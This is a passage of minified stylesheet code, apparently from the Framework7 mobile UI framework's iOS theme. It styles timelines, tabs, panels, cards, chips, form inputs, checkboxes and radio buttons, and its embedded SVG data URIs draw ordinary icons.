.timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal),.ios.device-iphone-x .panel-right .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal),.ios.device-iphone-x .popup .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal),.ios.device-iphone-x .sheet-modal .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal){padding-right:calc(15px + constant(safe-area-inset-right));padding-right:calc(15px + env(safe-area-inset-right))}}.ios .theme-dark .timeline-month-title,.ios .theme-dark .timeline-year-title{background:#1b1b1b}.ios .theme-dark .timeline-item-inner{background-color:#1c1c1d}.ios .theme-dark .timeline-item-time{color:#8e8e93}.ios .theme-dark .timeline-horizontal .timeline-item-date,.timeline-horizontal.ios .theme-dark .timeline-item-date{background:#1b1b1b}.ios .theme-dark .timeline-horizontal .timeline-item-date:after,.timeline-horizontal.ios .theme-dark .timeline-item-date:after{background-color:#282829}.ios .theme-dark .timeline-horizontal .timeline-month .timeline-item:before,.timeline-horizontal.ios .theme-dark .timeline-month .timeline-item:before{background-color:#282829}.ios .theme-dark .timeline-horizontal .timeline-item:after,.timeline-horizontal.ios .theme-dark .timeline-item:after{background-color:#282829}.ios .theme-dark .timeline-horizontal .timeline-year:after,.timeline-horizontal.ios .theme-dark .timeline-year:after{background-color:#282829}.tabs .tab{display:none}.tabs .tab-active{display:block}.tabs-animated-wrap{position:relative;width:100%;overflow:hidden;height:100%}.tabs-animated-wrap>.tabs{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;height:100%;-webkit-transition-duration:.3s;transition-duration:.3s}.tabs-animated-wrap>.tabs>.tab{width:100%;display:block;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.tabs-animated-wrap.not-animated>.tabs{-webkit-transition-duration:.3s;transition-duration:.3s}.tabs-swipeable-wrap{height:100%}.tabs-swipeable-wrap>.tabs{height:100%}.tabs-swipeable-wrap>.tabs>.tab{display:block}.page>.tabs{height:100%}.panel-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;opacity:0;z-index:5999;display:none;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.panel-backdrop.not-animated{-webkit-transition-duration:0s!important;transition-duration:0s!important}.panel{z-index:1000;display:none;-webkit-box-sizing:border-box;box-sizing:border-box;position:absolute;overflow:auto;-webkit-overflow-scrolling:touch;top:0;height:100%;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);width:260px;background-color:#fff}.panel.not-animated{-webkit-transition-duration:0s!important;transition-duration:0s!important}.panel.panel-reveal.not-animated~.view,.panel.panel-reveal.not-animated~.views{-webkit-transition-duration:0s!important;transition-duration:0s!important}.panel-cover{z-index:6000}.panel-left{left:0}.panel-left.panel-cover{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}.panel-right{right:0}.panel-right.panel-cover{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.panel-visible-by-breakpoint{display:block;-webkit-transform:translate3d(0,0,0)!important;transform:translate3d(0,0,0)!important}.panel-visible-by-breakpoint.panel-cover{z-index:5900}html.with-panel .framework7-root>.view .page-content,html.with-panel .framework7-root>.views .page-content{overflow:hidden;-webkit-overflow-scrolling:auto}html.with-panel-left-cover .panel-backdrop,html.with-panel-right-cover .panel-backdrop{display:block;opacity:1}html.with-panel-left-reveal .panel-backdrop,html.with-panel-right-reveal .panel-backdrop,html.with-panel-transitioning .panel-backdrop{background:rgba(0,0,0,0);display:block;opacity:0}html.with-panel-left-reveal .framework7-root>.view,html.with-panel-left-reveal .panel-backdrop,html.with-panel-left-reveal .views{-webkit-transform:translate3d(260px,0,0);transform:translate3d(260px,0,0)}html.with-panel-right-reveal .framework7-root>.view,html.with-panel-right-reveal .panel-backdrop,html.with-panel-right-reveal .views{-webkit-transform:translate3d(-260px,0,0);transform:translate3d(-260px,0,0)}html.with-panel-left-cover .panel-left{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}html.with-panel-right-cover .panel-right{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}html.with-statusbar.device-ios .panel,html.with-statusbar.ios:not(.device-ios):not(.device-android) .panel{top:20px;height:calc(100% - 20px)}html.with-statusbar.device-android .panel,html.with-statusbar.md:not(.device-ios):not(.device-android) .panel{top:24px;height:calc(100% - 24px)}html.with-statusbar.device-iphone-x .panel{top:constant(safe-area-inset-top);top:env(safe-area-inset-top);height:calc(100% - constant(safe-area-inset-top));height:calc(100% - env(safe-area-inset-top))}.ios .panel-backdrop{-webkit-transition-duration:.4s;transition-duration:.4s;background:rgba(0,0,0,0)}.ios .panel{-webkit-transition-duration:.4s;transition-duration:.4s}.ios.with-panel-left-reveal .framework7-root>.view,.ios.with-panel-left-reveal .views,.ios.with-panel-right-reveal .framework7-root>.view,.ios.with-panel-right-reveal .views,.ios.with-panel-transitioning .framework7-root>.view,.ios.with-panel-transitioning .views{-webkit-transition-duration:.4s;transition-duration:.4s;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform}.card .list>ul:before,.cards-list>ul:before{display:none!important}.card .list>ul:after,.cards-list>ul:after{display:none!important}.card{background:#fff;position:relative;border-radius:4px;font-size:14px}.card .block,.card .list{margin:0}.row:not(.no-gap) .col>.card{margin-left:0;margin-right:0}.card-content{position:relative}.card-content-padding{position:relative}.card-content-padding>p:first-child{margin-top:0}.card-content-padding>p:last-child{margin-bottom:0}.card-footer,.card-header{min-height:44px;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.card-footer[valign=top],.card-header[valign=top]{-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start}.card-footer[valign=bottom],.card-header[valign=bottom]{-webkit-box-align:end;-webkit-align-items:flex-end;-ms-flex-align:end;align-items:flex-end}.card-footer a.link,.card-header a.link{position:relative}.card-footer a.link i.icon,.card-header a.link i.icon{display:block}.card-footer a.icon-only,.card-header a.icon-only{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;margin:0}.card-header{border-radius:4px 4px 0 0}.card-header:after{content:'';position:absolute;background-color:#e1e1e1;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}html.device-pixel-ratio-2 .card-header:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}html.device-pixel-ratio-3 .card-header:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.card-header.no-hairline:after{display:none!important}.card-footer{border-radius:0 0 4px 4px}.card-footer:before{content:'';position:absolute;background-color:#e1e1e1;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}html.device-pixel-ratio-2 .card-footer:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}html.device-pixel-ratio-3 .card-footer:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.card-footer.no-hairline:before{display:none!important}.ios .card .list ul,.ios .cards-list ul{background:0 0}.ios .card{-webkit-box-shadow:0 1px 2px rgba(0,0,0,.3);box-shadow:0 1px 2px rgba(0,0,0,.3);margin:10px}.ios .card-outline{-webkit-box-shadow:none;box-shadow:none;border:1px solid rgba(0,0,0,.12)}.ios .card-footer a.link,.ios .card-header a.link{line-height:44px;height:44px;margin-top:-10px;margin-bottom:-10px;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start}.ios .card-footer a.icon-only,.ios .card-header a.icon-only{min-width:44px}.ios .card-content-padding{padding:15px}.ios .card-content-padding>.block,.ios .card-content-padding>.list{margin:-15px}.ios .card-footer,.ios .card-header{min-height:44px;padding:10px 15px}.ios .card-header{font-size:17px}.ios .card-footer{color:#6d6d72}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .card:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .ios-left-edge .card:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .panel-left .card:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .popup .card:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .sheet-modal .card:not(.no-ios-edges):not(.no-ios-left-edge){margin-left:calc(10px + constant(safe-area-inset-left));margin-left:calc(10px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .card:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .ios-right-edge .card:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .panel-right .card:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .popup .card:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .sheet-modal .card:not(.no-ios-edges):not(.no-ios-right-edge){margin-right:calc(10px + constant(safe-area-inset-right));margin-right:calc(10px + env(safe-area-inset-right))}}.ios .theme-dark .card{background-color:#1c1c1d}.ios .theme-dark .card-outline{border-color:#282829}.ios .theme-dark .card-header:after{background-color:#282829}.ios .theme-dark .card-footer{color:#8e8e93}.ios .theme-dark .card-footer:before{background-color:#282829}.chip{font-weight:400;display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-sizing:border-box;box-sizing:border-box;vertical-align:middle;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;margin:2px 0}.chip-media{border-radius:50%;text-align:center;color:#fff;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.chip-media img{max-width:100%;max-height:100%;width:auto;height:auto;border-radius:50%;display:block}.chip-label{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;position:relative;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;min-width:0}.chip-delete{text-align:center;cursor:pointer;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;background-repeat:no-repeat}.chip .chip-delete.active-state{opacity:1}.ios .chip{font-size:13px;color:#000;background:rgba(0,0,0,.12);height:24px;border-radius:12px;padding:0 10px}.ios .chip-outline{background:0 0;border:1px solid rgba(0,0,0,.12)}.ios .chip-media{width:24px;height:24px;vertical-align:middle;border-radius:50%;text-align:center;line-height:16px;color:#fff;font-size:12px;-webkit-box-sizing:border-box;box-sizing:border-box;margin-left:-10px}.ios .chip-media+.chip-label{margin-left:4px}.ios .chip-media i.icon{font-size:16px;height:16px}.ios .chip-delete{width:24px;height:24px;line-height:24px;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2028%2028'%3E%3Ccircle%20cx%3D'14'%20cy%3D'14'%20r%3D'14'%20fill%3D'%23000'%2F%3E%3Cline%20stroke%3D'%23fff'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'8'%20y1%3D'8'%20x2%3D'20'%20y2%3D'20'%2F%3E%3Cline%20fill%3D'none'%20stroke%3D'%23fff'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'20'%20y1%3D'8'%20x2%3D'8'%20y2%3D'20'%2F%3E%3C%2Fsvg%3E");background-position:center;background-size:14px 14px;opacity:.54;margin-right:-10px}.ios .theme-dark .chip{background-color:#333;color:#fff}.ios .theme-dark .chip-outline{background:0 0;border-color:#333}.ios .theme-dark .chip-delete{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2028%2028'%3E%3Ccircle%20cx%3D'14'%20cy%3D'14'%20r%3D'14'%20fill%3D'%23fff'%2F%3E%3Cline%20stroke%3D'%23000'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'8'%20y1%3D'8'%20x2%3D'20'%20y2%3D'20'%2F%3E%3Cline%20fill%3D'none'%20stroke%3D'%23000'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'20'%20y1%3D'8'%20x2%3D'8'%20y2%3D'20'%2F%3E%3C%2Fsvg%3E")}.ios .chip.color-red{background:#ff3b30;color:#fff}.ios .chip.color-red.chip-outline{background:0 0;border-color:#ff3b30;color:#ff3b30}.ios .chip.color-green{background:#4cd964;color:#fff}.ios .chip.color-green.chip-outline{background:0 0;border-color:#4cd964;color:#4cd964}.ios .chip.color-blue{background:#007aff;color:#fff}.ios .chip.color-blue.chip-outline{background:0 0;border-color:#007aff;color:#007aff}.ios .chip.color-pink{background:#ff2d55;color:#fff}.ios .chip.color-pink.chip-outline{background:0 0;border-color:#ff2d55;color:#ff2d55}.ios .chip.color-yellow{background:#fc0;color:#fff}.ios .chip.color-yellow.chip-outline{background:0 0;border-color:#fc0;color:#fc0}.ios .chip.color-orange{background:#ff9500;color:#fff}.ios .chip.color-orange.chip-outline{background:0 0;border-color:#ff9500;color:#ff9500}.ios .chip.color-gray{background:#8e8e93;color:#fff}.ios .chip.color-gray.chip-outline{background:0 0;border-color:#8e8e93;color:#8e8e93}.ios .chip.color-white{background:#fff;color:#fff}.ios .chip.color-white.chip-outline{background:0 0;border-color:#fff;color:#fff}.ios .chip.color-black{background:#000;color:#fff}.ios .chip.color-black.chip-outline{background:0 0;border-color:#000;color:#000}input[type=date],input[type=datetime-local],input[type=email],input[type=number],input[type=password],input[type=search],input[type=tel],input[type=text],input[type=time],input[type=url],select,textarea{-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-appearance:none;-moz-appearance:none;appearance:none;border:none;-webkit-box-shadow:none;box-shadow:none;border-radius:0;outline:0;display:block;padding:0;margin:0;font-family:inherit;background:0 0;resize:none;font-size:inherit;color:inherit}.textarea-resizable-shadow{opacity:0;position:absolute;z-index:-1000;pointer-events:none;left:-1000px;top:-1000px;visibility:hidden}.list input[type=date],.list input[type=datetime-local],.list input[type=email],.list input[type=number],.list input[type=password],.list input[type=search],.list input[type=tel],.list input[type=text],.list input[type=time],.list input[type=url],.list select,.list textarea{width:100%}.list input[type=datetime-local]{max-width:50vw}.list input[type=date],.list input[type=datetime-local]{line-height:44px}.list textarea{resize:none;line-height:1.4;height:100px}.list .item-floating-label,.list .item-label{vertical-align:top;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.list .item-input-wrap{width:100%;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;position:relative}.input{position:relative}.input input,.input select,.input textarea{width:100%}.input-clear-button{opacity:0;pointer-events:none;visibility:hidden;-webkit-transition-duration:.1s;transition-duration:.1s;position:absolute;top:50%;border-radius:50%;border:none;padding:0;margin:0;outline:0;z-index:1;cursor:pointer;background:0 0;right:0}.input-clear-button:after{content:'';position:absolute;width:100%;height:100%;left:0;top:0;background-repeat:no-repeat;background-position:center center}.input-clear-button:before{position:absolute;content:'';left:50%;top:50%}.input-with-value .input-clear-button,.input-with-value~.input-clear-button,.item-input-with-value .input-clear-button{opacity:1;pointer-events:auto;visibility:visible}.input-dropdown,.input-dropdown-wrap{position:relative}.input-dropdown-wrap:before,.input-dropdown:before{content:'';pointer-events:none;position:absolute;top:50%;margin-top:-2px;width:0;height:0;border-left:5px solid transparent;border-right:5px solid transparent;border-top:5px solid #727272;right:2px}.input-dropdown input,.input-dropdown select,.input-dropdown textarea,.input-dropdown-wrap input,.input-dropdown-wrap select,.input-dropdown-wrap textarea{padding-right:14px}.ios .list input[type=date],.ios .list input[type=datetime-local],.ios .list input[type=email],.ios .list input[type=number],.ios .list input[type=password],.ios .list input[type=search],.ios .list input[type=tel],.ios .list input[type=text],.ios .list input[type=time],.ios .list input[type=url],.ios .list select{height:44px;color:#000;font-size:17px}.ios .list textarea{color:#000;font-size:17px;padding-top:11px;padding-bottom:11px}.ios .list textarea.resizable{height:44px}.ios .item-floating-label,.ios .item-label{font-size:12px;width:100%;line-height:1;overflow:visible}.ios .item-floating-label+.item-input-wrap,.ios .item-label+.item-input-wrap{margin-top:0}.ios .item-input .item-inner{display:block}.ios .item-input .item-media{-webkit-align-self:flex-start;-ms-flex-item-align:start;align-self:flex-start}.ios .item-input-wrap{margin-top:-8px;margin-bottom:-8px}.ios .inline-label .item-inner,.ios .inline-labels .item-inner{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.ios .inline-label .item-floating-label,.ios .inline-label .item-label,.ios .inline-labels .item-floating-label,.ios .inline-labels .item-label{font-size:17px;width:35%;line-height:1.4;-webkit-align-self:flex-start;-ms-flex-item-align:start;align-self:flex-start;padding-top:3px}.ios .inline-label .item-floating-label+.item-input-wrap,.ios .inline-label .item-label+.item-input-wrap,.ios .inline-labels .item-floating-label+.item-input-wrap,.ios .inline-labels .item-label+.item-input-wrap{margin-top:-8px;margin-left:5px}.ios .inline-label .item-input-wrap,.ios .inline-labels .item-input-wrap{margin-top:-8px}.ios .item-input-with-error-message .item-input-wrap input,.ios .item-input-with-error-message .item-input-wrap select,.ios .item-input-with-error-message .item-input-wrap textarea,.ios div.input-with-error-message input,.ios div.input-with-error-message select,.ios div.input-with-error-message textarea,.ios span.input-with-error-message input,.ios span.input-with-error-message select,.ios span.input-with-error-message textarea{color:#ff3b30}.ios .input-error-message,.ios .input-info,.ios .item-input-error-message,.ios .item-input-info{font-size:12px;line-height:1.4;position:relative;margin-bottom:6px;margin-top:-8px}.ios .input-info,.ios .item-input-info{color:#8e8e93}.ios .input-error-message,.ios .item-input-error-message{color:#ff3b30;display:none}.ios .item-input-invalid .item-input-error-message{display:block}.ios .item-input-invalid .item-input-info{display:none}.ios .input-invalid .input-error-message{display:block}.ios .input-invalid .input-info{display:none}.ios .input-clear-button{width:14px;height:14px;margin-top:-7px}.ios .input-clear-button:after{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2028%2028'%3E%3Ccircle%20cx%3D'14'%20cy%3D'14'%20r%3D'14'%20fill%3D'%238e8e93'%2F%3E%3Cline%20stroke%3D'%23ffffff'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'8'%20y1%3D'8'%20x2%3D'20'%20y2%3D'20'%2F%3E%3Cline%20fill%3D'none'%20stroke%3D'%23ffffff'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'20'%20y1%3D'8'%20x2%3D'8'%20y2%3D'20'%2F%3E%3C%2Fsvg%3E");background-size:14px 14px}.ios .input-clear-button:before{width:44px;height:44px;margin-left:-22px;margin-top:-22px}.ios .item-input-wrap .input-clear-button{top:22px}.ios .theme-dark .list input[type=date],.ios .theme-dark .list input[type=datetime-local],.ios .theme-dark .list input[type=email],.ios .theme-dark .list input[type=number],.ios .theme-dark .list input[type=password],.ios .theme-dark .list input[type=search],.ios .theme-dark .list input[type=tel],.ios .theme-dark .list input[type=text],.ios .theme-dark .list input[type=time],.ios .theme-dark .list input[type=url],.ios .theme-dark .list select,.list.ios .theme-dark input[type=date],.list.ios .theme-dark input[type=datetime-local],.list.ios .theme-dark input[type=email],.list.ios .theme-dark input[type=number],.list.ios .theme-dark input[type=password],.list.ios .theme-dark input[type=search],.list.ios .theme-dark input[type=tel],.list.ios .theme-dark input[type=text],.list.ios .theme-dark input[type=time],.list.ios .theme-dark input[type=url],.list.ios .theme-dark select{color:#fff}.ios .theme-dark .list textarea,.list.ios .theme-dark textarea{color:#fff}.checkbox i,.icon-checkbox{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.checkbox{position:relative;display:inline-block;vertical-align:middle;z-index:1}.checkbox,label.item-checkbox{cursor:pointer}.checkbox input[type=checkbox],.checkbox input[type=radio],label.item-checkbox input[type=checkbox],label.item-checkbox input[type=radio]{display:none}.checkbox .icon-checkbox,label.item-checkbox .icon-checkbox{-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;display:block}.checkbox .icon-checkbox:after,label.item-checkbox .icon-checkbox:after{content:'';position:absolute}label.item-checkbox{-webkit-transition-duration:.3s;transition-duration:.3s}label.item-checkbox.active-state:after{background-color:transparent}.disabled label.item-checkbox,label.item-checkbox.disabled{opacity:.55;pointer-events:none;opacity:.55!important;pointer-events:none!important}.ios .checkbox i,.ios .icon-checkbox{width:22px;height:22px;border-radius:50%;border:1px solid #c7c7cc}.ios .checkbox i:after,.ios .icon-checkbox:after{left:50%;top:50%;margin-left:-6px;margin-top:-4px;width:12px;height:9px}.ios .checkbox input[type=checkbox]:checked~i,.ios label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{border:none;background:#007aff}.ios .checkbox input[type=checkbox]:checked~i:after,.ios label.item-checkbox input[type=checkbox]:checked~.icon-checkbox:after{background:no-repeat center;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20x%3D'0px'%20y%3D'0px'%20viewBox%3D'0%200%2012%209'%20xml%3Aspace%3D'preserve'%3E%3Cpolygon%20fill%3D'%23ffffff'%20points%3D'12%2C0.7%2011.3%2C0%203.9%2C7.4%200.7%2C4.2%200%2C4.9%203.9%2C8.8%203.9%2C8.8%203.9%2C8.8%20'%2F%3E%3C%2Fsvg%3E");background-size:12px 9px}.ios label.item-checkbox>.icon-checkbox{margin-right:15px}.ios label.item-checkbox .item-content .item-media,.ios label.item-checkbox.item-content .item-media{-webkit-align-self:center;-ms-flex-item-align:center;align-self:center}.ios label.item-checkbox.active-state{-webkit-transition-duration:0s;transition-duration:0s;background-color:#d9d9d9}.ios .theme-dark label.item-checkbox.active-state{background-color:#363636}.ios .color-theme-red .checkbox input[type=checkbox]:checked~i,.ios .color-theme-red label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background:#ff3b30}.ios .color-theme-green .checkbox input[type=checkbox]:checked~i,.ios .color-theme-green label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background:#4cd964}.ios .color-theme-blue .checkbox input[type=checkbox]:checked~i,.ios .color-theme-blue label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background:#007aff}.ios .color-theme-pink .checkbox input[type=checkbox]:checked~i,.ios .color-theme-pink label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background:#ff2d55}.ios .color-theme-yellow .checkbox input[type=checkbox]:checked~i,.ios .color-theme-yellow label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background:#fc0}.ios .color-theme-orange .checkbox input[type=checkbox]:checked~i,.ios .color-theme-orange label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background:#ff9500}.ios .color-theme-gray .checkbox input[type=checkbox]:checked~i,.ios .color-theme-gray label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background:#8e8e93}.ios .color-theme-white .checkbox input[type=checkbox]:checked~i,.ios .color-theme-white label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background:#fff}.ios .color-theme-black .checkbox input[type=checkbox]:checked~i,.ios .color-theme-black label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background:#000}.ios .checkbox.color-red input[type=checkbox]:checked~i,.ios label.item-checkbox.color-red input[type=checkbox]:checked~.icon-checkbox{background:#ff3b30}.ios .checkbox.color-green input[type=checkbox]:checked~i,.ios label.item-checkbox.color-green input[type=checkbox]:checked~.icon-checkbox{background:#4cd964}.ios .checkbox.color-blue input[type=checkbox]:checked~i,.ios label.item-checkbox.color-blue input[type=checkbox]:checked~.icon-checkbox{background:#007aff}.ios .checkbox.color-pink input[type=checkbox]:checked~i,.ios label.item-checkbox.color-pink input[type=checkbox]:checked~.icon-checkbox{background:#ff2d55}.ios .checkbox.color-yellow input[type=checkbox]:checked~i,.ios label.item-checkbox.color-yellow input[type=checkbox]:checked~.icon-checkbox{background:#fc0}.ios .checkbox.color-orange input[type=checkbox]:checked~i,.ios label.item-checkbox.color-orange input[type=checkbox]:checked~.icon-checkbox{background:#ff9500}.ios .checkbox.color-gray input[type=checkbox]:checked~i,.ios label.item-checkbox.color-gray input[type=checkbox]:checked~.icon-checkbox{background:#8e8e93}.ios .checkbox.color-white input[type=checkbox]:checked~i,.ios label.item-checkbox.color-white input[type=checkbox]:checked~.icon-checkbox{background:#fff}.ios .checkbox.color-black input[type=checkbox]:checked~i,.ios label.item-checkbox.color-black input[type=checkbox]:checked~.icon-checkbox{background:#000}.icon-radio{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.radio{position:relative;display:inline-block;vertical-align:middle;z-index:1}.radio,label.item-radio{cursor:pointer}.radio input[type=checkbox],.radio input[type=radio],label.item-radio input[type=checkbox],label.item-radio input[type=radio]{display:none}.radio .icon-radio,label.item-radio .icon-radio{-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;display:block}.radio .icon-radio:after,label.item-radio .icon-radio:after{content:'';position:absolute}label.item-radio{-webkit-transition-duration:.3s;transition-duration:.3s}label.item-radio.active-state:after{background-color:transparent}.disabled label.item-radio,label.item-radio.disabled{opacity:.55;pointer-events:none;opacity:.55!important;pointer-events:none!important}.ios .icon-radio{width:22px;height:22px;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box;display:block}.ios .radio .icon-radio{border-radius:50%;border:1px solid #c7c7cc}.ios label.item-radio input[type=radio]~.icon-radio{position:absolute;top:50%;margin-top:-11px;right:10px}.ios label.item-radio .item-inner{padding-right:35px}.ios .radio input[type=radio]:checked~.icon-radio,.ios label.item-radio input[type=radio]:checked~* .icon-radio,.ios label.item-radio input[type=radio]:checked~.icon-radio{background:no-repeat center;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23007aff'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E");background-size:13px 10px}.ios .radio input[type=radio]:checked~.icon-radio{border-color:#007aff}.ios label.item-radio .item-content .item-media,.ios label.item-radio.item-content .item-media{-webkit-align-self:center;-ms-flex-item-align:center;align-self:center}.ios label.item-radio.active-state{-webkit-transition-duration:0s;transition-duration:0s;background-color:#d9d9d9}@media (orientation:landscape){.ios.device-iphone-x .ios-edges label.item-radio input[type=radio]~.icon-radio,.ios.device-iphone-x .ios-right-edge label.item-radio input[type=radio]~.icon-radio,.ios.device-iphone-x .panel-right label.item-radio input[type=radio]~.icon-radio,.ios.device-iphone-x .popup label.item-radio input[type=radio]~.icon-radio,.ios.device-iphone-x .sheet-modal label.item-radio input[type=radio]~.icon-radio{right:calc(10px + constant(safe-area-inset-right));right:calc(10px + env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset) label.item-radio .item-inner,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset) label.item-radio .item-inner,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset) label.item-radio .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset) label.item-radio .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset) label.item-radio .item-inner{padding-right:calc(35px + constant(safe-area-inset-right))!important;padding-right:calc(35px + env(safe-area-inset-right))}}.ios .theme-dark label.item-radio.active-state{background-color:#363636}.ios .color-theme-red .radio input[type=radio]:checked~.icon-radio,.ios .color-theme-red label.item-radio input[type=radio]:checked~* .icon-radio,.ios .color-theme-red label.item-radio input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff3b30'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-red .radio input[type=radio]:checked~.icon-radio{border-color:#ff3b30}.ios .color-theme-green .radio input[type=radio]:checked~.icon-radio,.ios .color-theme-green label.item-radio input[type=radio]:checked~* .icon-radio,.ios .color-theme-green label.item-radio input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%234cd964'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-green .radio input[type=radio]:checked~.icon-radio{border-color:#4cd964}.ios .color-theme-blue .radio input[type=radio]:checked~.icon-radio,.ios .color-theme-blue label.item-radio input[type=radio]:checked~* .icon-radio,.ios .color-theme-blue label.item-radio 